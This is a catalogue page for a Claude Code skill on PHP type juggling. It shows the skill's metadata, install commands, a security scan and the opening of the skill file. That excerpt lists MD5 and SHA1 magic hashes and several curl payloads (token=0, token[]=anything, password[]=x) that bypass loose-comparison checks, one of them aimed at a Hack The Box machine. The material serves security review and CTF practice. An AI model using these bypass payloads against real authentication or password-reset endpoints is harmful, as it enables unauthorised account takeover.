php-type-juggling

php-type-juggling is a skill for Claude Code from allsmog/blackbox-claude-plugin. It costs 44 tokens per session (1,789 once invoked), scanned B, original, MIT.

A security guide about PHP type juggling, where PHP may convert values between types during comparisons. It covers magic hashes, loose comparisons, and authentication bypasses involving tokens or passwords.

In plain words
What is it for?
Use it when reviewing PHP password resets, token validation, authentication code, or comparisons using the loose equality operator or strcmp.
Why use it?
It helps identify cases where a weak comparison can treat different values as equal. These mistakes can let someone bypass token or login checks.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/allsmog/blackbox-claude-plugin/php-type-juggling
Any agent
npx skills add allsmog/blackbox-claude-plugin --skill php-type-juggling
Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for php-type-juggling

README.md
[![agentmods](https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/php-type-juggling.svg)](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/php-type-juggling)
Your own site
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/php-type-juggling"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/php-type-juggling.svg" alt="Measured on agentmods" height="20"></a>
Per session 44 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,789 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00044 $0.01789
Opus 5 $0.00022 $0.00894
Sonnet 5 $0.00009 $0.00358
Haiku 4.5 $0.00004 $0.00179

Measured 6d ago against content hash 53e1d63816d7, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade B, and why

php-type-juggling scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl "http://target/login" -d "password[]=x"

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl "http://target/forgot-password?token=0"
blackbox-htb/skills/php-type-juggling/SKILL.md · 257 lines

How it starts

The opening of the file, as written. The whole thing — 257 lines — stays where its author put it; the contents beside it link to each section on GitHub.

PHP Type Juggling Exploitation

Overview

PHP's loose comparison operator (==) performs type juggling, converting values before comparison. This leads to exploitable vulnerabilities in authentication and token validation.

Core Concept

// Vulnerable code
if ($user_token == $db_token) {
    // Grant access
}

// Exploitation: if $db_token starts with "0e" and contains only digits
// "0e123456789" == 0 evaluates to TRUE
// Attacker sends token=0 to bypass validation

Magic Hashes

Magic hashes are strings that PHP interprets as scientific notation (0eXXX = 0 * 10^XXX = 0).

MD5 Magic Hashes

These strings produce MD5 hashes that start with 0e followed only by digits:

Plaintext MD5 Hash
240610708 0e462097431906509019562988736854
QNKCDZO 0e830400451993494058024219903391
0e215962017 0e291242476940776845150308577824
aabg7XSs 0e087386482136013740957780965295
aabC9RqS 0e041022518165728065344349536299

SHA1 Magic Hashes

Plaintext SHA1 Hash
10932435112 0e07766915004133176347055865026311692244
aaroZmOk 0e66507019969427134894567494305185566735
aaK1STfY 0e76658526655756207688271159624026011393

Exploitation Techniques

1. Password Reset Token Bypass

Vulnerable Endpoint:

GET /forgot-password?token=<value>

Vulnerable Code:

$user_token = $_GET['token'];
$db_token = get_token_from_database($user_id);

if ($user_token == $db_token) {
    // Allow password reset
}

Exploitation:

# If database token is a magic hash (0e...), send:
curl "http://target/forgot-password?token=0"

# Or try as array to bypass strcmp:
curl "http://target/forgot-password?token[]=anything"

Real-World Example (MonitorsFour):

# Database had token: 0e7106... (magic hash)
# Bypass with:
curl "http://monitorsfour.htb/forgot-password?token=0"
# Returns: password reset form with user credentials leaked

Read the full file on GitHub · 257 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 257 lines · 44 tokens per session scan B 53e1d63816d7

Subscribe to this mod's changes

php-type-juggling is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 44 tokens to every session and 1,789 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

craftcms

Craft CMS 5 plugin and module development — extending Craft with PHP. Covers elements, element queries, services, models, records, controllers, migrations, queue jobs, console commands, field types, native fields, events, behaviors, Twig extensions, widgets, filesystems, permissions, project config, GraphQL, testing…

michtio/craftcms-claude-skills · 327 tokens

craft-php-guidelines

Craft CMS 5 PHP coding standards and conventions. ALWAYS load when writing, editing, reviewing, or discussing any PHP in a Craft plugin or module — even small edits. Also when running ECS, PHPStan, or scaffolding with ddev craft make. Covers: PHPDoc blocks (@author, @since, @throws chains), section headers…

michtio/craftcms-claude-skills · 336 tokens

craft-pest

Testing Craft CMS 5 plugins and modules with Pest — test isolation, database safety, and the markhuot/craft-pest-core harness. ALWAYS load when writing, running, fixing, or reviewing tests for a Craft plugin or module, and whenever a suite touches a real Craft install. Covers why rollback is opt-in, tests/Pest.php +…

michtio/craftcms-claude-skills · 353 tokens

symfony:daily-workflow

Daily development workflow for Symfony projects including common tasks, debugging, and productivity tips.

dev-toolings/superpowers-symfony · 22 tokens

laravel-migrations

Use when designing a database schema or managing Laravel 13 migrations — Schema Builder, columns, indexes, foreign keys, or seeders.

fusengine/agents · 32 tokens

solid-php

Use when applying SOLID principles to Laravel 13 / PHP 8.3+ code — file size limits, interface placement, or PHPDoc enforcement.

fusengine/agents · 35 tokens